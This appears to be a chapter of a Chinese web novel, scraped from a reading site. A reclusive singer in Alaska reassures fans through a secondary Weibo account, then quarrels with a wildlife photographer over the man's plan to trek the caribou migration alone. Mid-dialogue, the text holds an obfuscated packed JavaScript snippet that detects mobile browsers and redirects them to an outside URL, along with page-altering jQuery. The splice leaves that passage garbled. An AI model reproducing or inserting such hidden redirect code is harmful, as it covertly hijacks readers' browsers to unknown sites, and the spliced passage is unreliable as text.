偏偏顾灯又怂又敏感，他不敢看恶评，真看了又会被气哭。最搞笑的一次是他一边哭一边和黑子理论，结果还被黑子拉黑，岚姐一边心疼一边怨他不争气。 但顾灯朋友严静不同，他会逼着自己看，尤其是看那些骂得最狠、最脏的，强迫自己脱敏。看了还不算，严静甚至会亲自下场，和黑粉大战三百回合。 外界都说静哥哥真猛，是华语歌坛反黑第一人。顾灯也曾经这样打趣过他，当时严静还笑着说：“骂不过的黑子转给我，我来帮你骂！” 可顾灯也碰见严静在洗手间里哭，原来这么强大的人，也没法儿完全消化网上源源不断的恶意。 自那以后，顾灯就对恶评看开了。对于这部分不喜欢他的人，他也不再执着辩解，而是选择忽视，物理远离。 后面就是工作室和他一起打理账号，直到顾灯创作瓶颈，又被查出生病，他不敢看歌迷的询问和期待，又把账号交给了工作室。 顾灯再次登录微博是一个月前，当时他住在热带别墅里治疗抑郁，岚姐来看他时，顾灯说想和歌迷们聊聊天。当时岚姐手下还带着别的艺人，顾灯四年不干活儿可以，但工作室团队都要人养活。 岚姐签了两个老牌艺人，又带了几个新人，成绩都还不错，越发忙碌了，逐渐忽略了顾灯。也因岚姐心有愧疚，没有犹豫就把密码给了顾灯。 结果她万万没想到，顾灯拿到微博第一件事，竟然是宣布退圈，然后彻底消失。 有过这样的前科，顾灯是不可能再有机会登录。可他不想和她们碰头，甚至连打电话都觉得有压力，从社交软件上传递消息自然就不行。 章离却说：“大号用不了，那申请小号呢？” 顾灯觉得这是个办法，但很快又觉得不行，摇头道：“小号谁能看到？而且就算看见了，也不会以为我就是顾灯。” “加上照片呢？”章离问，“你介意吗？” 他的照片？他现在状态这么差，被看到了多尴尬啊？ 可又确实没有别的方法了，顾灯沉默了一分多钟，终于点头说：“只是照片的话，也可以。” · 顾灯失踪后，沈青岚几乎把医院翻遍了，直到报警后查看监控，才发现是顾灯自己跑出了医院。 警察不管离家出走，沈青岚只得自己派人找。 她这趟来得匆忙，美签也不好拿，只带了零散几个人过来。现在这些人一半被她分去处理舆论，一半四处找人，就连顾灯母亲和哥哥都没闲着。 可还是找不到人，小镇就这么大一点儿，顾灯就跟人间蒸发了似的。 时间越来越晚，门口的粉丝情绪也逐渐高涨，沈青岚却毫无进展，焦虑得脱掉鞋在病房里走来走去。 “岚姐！”就在这时，小米气喘吁吁举着手机跑来，“有条微博疑似灯哥小号，现在已经有一千多转发了！” 沈青岚低头一看，一个叫@灯灯灯灯灯灯灯的id五分钟前发了条微博。 【@灯灯灯灯灯灯灯：谢谢大家的关心，我现在人很好，只是暂时还没法儿和你们见面。我想离开一段时间，去思考一些事情。归期未定，请原谅我的任性。】 照片中，顾灯穿着监控视频里那件冲锋衣坐在窗前，他双手捧着水杯，有些紧张地看向镜头。他身后是阿拉斯加南部峡湾，海水闪耀，一只白头鹰振翅冲向蓝天。 9.初次矛盾 发完微博，顾灯把手机还给章离，不敢看任何评论。他不仅自己不看，还让章离看见骂他的话也别读给他听。 章离于是收起手机，可一抬头，又发现顾灯用渴求的目光盯着自己。 章离刷新微博，说：“才发了两分钟，没多少人看见，不过评论区也有人问是不是本人。” “当然是！”顾灯说，“你再拍张我的照片回复！” 章离打开手机摄像头。 “等等！”顾灯却又迟疑起来，他看向玻璃窗上的反光，伸手抓了抓自己头发，“我这样是不是很难看？” 章离：“不难看。” “啊不行啊，丑死了，我怎么变成了这个样子？”顾灯越看越伤心，发型全无，衣服丑，脸色也很差。 他脱掉冲锋衣，里面是一件泡水后又晒干的羽绒服，更丑了。顾灯纠结了好久，又把冲锋衣穿了回去，语气恹恹的说：“算了，还是别拍了。” 章离：“为什么？” 顾灯：“因为我现在很丑啊！” 看着顾灯现在的模样，章离突然想起在道尔顿公路第一次遇见顾灯的场景。那时顾灯穿着颇有设计感的冲锋衣，头发精致、戴着耳机，年轻时髦又漂亮。 可现在，哪怕顾灯穿着毫无设计的冲锋衣坐在他面前，也并不丑。 “你现在也好看，”章离说，“你骨相和五官都很优秀，发型和衣服只是锦上添花。实际上，你就算剃光头穿麻袋也好看。” 顾灯：“……感觉有点儿恶心。” “我只是陈述事实，”章离丝毫不觉得自己说了什么过分的话，又强调，“我是摄影师，你要相信我的审美。” “你是拍野生动物的！”顾灯反驳，“谁知道你审美点点在哪里？万一你是觉得我好看，是觉得我长得像动物呢？” 章离皱眉，有些茫然地问：“你不喜欢这种形容？” 顾灯反问：“谁会喜欢这种形容？” “抱歉，”章离说，“那我以后不会这样形容你了。” 章离有些遗憾，其实在他看来，动物都长得很漂亮。 他没敢告诉顾灯，他甚至还偷偷用动物比喻过顾灯。顾灯像鸟，因为有好听的声音和漂亮的外表。不过性格上，章离觉得顾灯更像猫。 沉默了一会儿，章离又问：“那照片还拍吗？” 顾灯看了他一眼，说：“可以拍，但拍完要先给我看，我满意了再发。” “行。” 章离虽然是个拍动物的，但顾灯没想到，他拍起人来也有模有样。 或许是拍野生动物时养成的习惯，章离其实不怎么指挥模特，他更擅长的是抓捕人的神态。 顾灯之前合作过许多摄影师，有拍了许多明星的网红，也有国外权威的时尚摄影大拿。那些照片当然也很优秀，时尚、精致、充满美感和艺术性。 但当顾灯看见章离拍的照片时，却霎时愣在了那里，他从没见过这样的自己。 这张照片没有精妙的构图，也没有充满张力的姿势，他就只是坐在窗边，姿势普通，眼神安静，带有淡淡的攻击性。 他以为自己现在的状态一定很糟糕，没有漂亮的衣服，没有完美的发型，皮肤也很差，可他没有想到，自己还能露出这样的表情。 这张照片让人忽视掉他的穿着和打扮，而是透过神态，看见他的内在和灵魂。 原来他是这样的人吗？ 顾灯看着照片，都有点儿不认识自己了。 “满意吗？”章离问。 顾灯点头，忍不住又补充：“我很喜欢这张照片。” 章离把照片发到微博评论区，热度瞬间飞涨，每一次刷新都有新消息，转赞评越来越多，十分钟后，章离把手机递了过来：“你看这个。” 其实顾灯一直在偷瞄章离，前面章离表情都很淡定，但这次刷新却变得有些严肃。 顾灯咽了下口水，说：“骂我的？” “不是，”章离说，“你的大号转发了微博。” 岚姐看见了这条微博？！ 顾灯拿过手机，看见他大号转发微博，留言：等你回来。 后面还有一张配图，是他妈妈哥哥、经纪人和工作室团队，还有小夜灯在医院门口的合影。 顾灯一张张脸看过去，每一个人都那么熟悉。他停顿了一分多钟，不知怎么点到了刷新。 于是，他看见自己的圈内好友、粉丝站、无数小夜灯在评论区刷着“等你回来”，配图五花八门，他们和顾灯分享自己的日常，学习、工作、旅行、美食、艰难取得的成绩。 无数人生碎片在网络上汇聚，生活有苦有甜，但大家都还在继续。 顾灯低头捂嘴，可最后还是哭出了声。 · 二人没有多做逗留，当晚就返回了安克雷奇。倒不是顾灯急着离开，而是他记得章离行程，如果不是因为他，章离已经在去看驯鹿迁徙的路上了。 抵达安克雷奇已是深夜，顾灯担心耽误章离行程，章离说不急，让他先睡一觉，明天醒来再讨论。 第二天，顾灯被一阵狗刨门声吵醒。顾灯打开房门，迎面飞来一头阿拉斯加，一下就把他扑倒在地。顾灯好不容易抬起头，狗背上又压了一个双马尾乱飞的小朋友。 一人一狗一百多斤，顾灯被压得嗷嗷大叫，很夸张地求饶。 “投降！”邪恶双马尾抓住他头发。 “好，我投降！”顾灯举起双臂，很没骨气地说，“求求长官，请你放过我吧！” 阿里终于爬起来，露出一副“算了，暂时饶过你”的骄傲表情。 顾灯坐起身，伸手揉了把小朋友的头发：“有没有想我？” “想！”阿里回答得超大声。 “汪！”曲奇也跟着叫。 阿里又问顾灯：“那你有没有想我？” “想！”顾灯也回答得很大声。 “阿里，”一道更响亮的女声从楼下传来，“下来吃饭，不然你上学要迟到了！” 阿里抱着曲奇，没有答应。 顾灯：“怎么不回答妈妈？” 阿里嘟哝：“因为我不想上学。” 顾灯：“为什么不想上学？” “因为我们小朋友都不想上学！”阿里冲他扮鬼脸，拖着曲奇哒哒哒下了楼梯。 吃完早饭，章离、顾灯和史密斯三人凑到一起，讨论这次旅行的详细安排。 这支驯鹿队伍四月初从布鲁克斯南篱出发，预计五月底抵达北冰洋沿海平原，总时长50天，迁徙里程超过500公里。 章离把行程分为五段，除了起始点和终点，他还会在中间进行3次补给。 史密斯是章离的联络人，负责章离的后勤保障工作。他会开小飞机把章离送到目的地，再每隔十天提供一次物资。 至于顾灯，会搭乘史密斯的小飞机多次往返。 “等等，”顾灯看向章离，“什么叫做我跟着史密斯一起走，你在中间进行三次补给？” “你不知道吗？”史密斯说，“章要徒步全程。” 顾灯愣了愣，看向章离：“你不坐小飞机？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467461|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 章离：“我要徒步。” 顾灯表情难看起来。 “是不是我说错话了？”史密斯看了眼章离，有些尴尬，“难道他还不知道你的安排？” “是我没有解释清楚，”章离看向顾灯，说，“是我徒步，你和史密斯一起……” “我知道，”顾灯打断他的话，“上次在酒吧时我就知道了。” “顾灯，我……”章离试图解释。 “没事，”顾灯笑着打断他的话，说，“继续吧。” 史密斯看了眼章离，章离点头，会议继续。 接下来就是一些细节确认，例如中途三次补给点史密斯能不能准时抵达，如果不能，又有什么备选方案。 至于徒步过程中的潜在危险，章离没有多做描述。这是他自己要处理的事情，史密斯户外经验不如他，顾灯就更不行了。 这个小会开了近两个小时，最后，章离问史密斯和顾灯：“你们觉得还有哪里要调整的？” 顾灯没说话。 史密斯说：“你真不带枪？遇到熊怎么办？” 章离：“真遇到熊，带枪也没用。” “怎么没用？”史密斯说，“两年前你不是在布鲁克斯山，从一头发狂的棕熊手下救出过观光客？” 章离还是不带，史密斯没辙了，干脆转头和顾灯吐槽章离的臭脾气：“你看看他这幅样子，一旦他决定好的事，别人说什么他也不会听。” 顾灯“嗯”了一声，还有些情绪。 “你呢？”章离转头看他。 “没有。”顾灯说。 会议解散，顾灯回了房间。因为还有工作要做，午餐他们是叫的外卖，典型美式巨无霸汉堡薯条套餐，分量奇大，又油又腻，是顾灯营养师看到会尖叫发疯的食谱。 顾灯食欲全无，象征性吃了几根薯条，从冰箱里拿了根黄瓜啃。史密斯咬了一大口油腻的肉，调侃顾灯吃得比自己女儿还要少。顾灯于是又吃了一根香蕉。 下午，他们本计划陪顾灯去买装备，可章离独自出了门，顾灯又闷声不吭。史密斯左看右看，最后耸耸肩离开，他可不想掺和这种麻烦事。 看着空荡荡的客厅，顾灯感觉自己有点儿可笑，别人说不定只是随口一说，偏偏他还当个宝似的捧起来，当了真。 顾灯回到卧室，拉起被子蒙住脸，决定不去想那些烦心事情。算了，反正他也没有很想去。 不知过了多久，走廊传来一阵脚步声，章离敲响房门：“可以进来吗？” 顾灯没说话。 章离：“你是不是生气了？” 顾灯语气凉凉：“我有什么资格生气？” 章离：“我知道你担心我，是我没有解释清楚，让你产生了误会。” “没误会啊，”顾灯说，“这是你的旅行，你想怎么安排都行。” 门外安静了一会儿，就在顾灯以为人已经离开时，章离声音再次响起：“顾灯，我要开门了。” 顾灯盯着门把手，没说好，但也没有拒绝。 章离开门进来，顾灯蜷缩在被子里，捂得严严实实，像是只缩进壳子里的乌龟。 听见开门声，被子里的人动了一下，又很快保持了安静。 章离没有继续往前，只是站在门口说：“我有必须要徒步的原因，你愿意听听我的解释吗？” 顾灯依旧没反应，可章离也没再继续，只是很有耐心地等在原地。 又过了一会儿，顾灯终于从被子里钻出脑袋，头发乱糟糟，红着眼尾问：“什么原因？”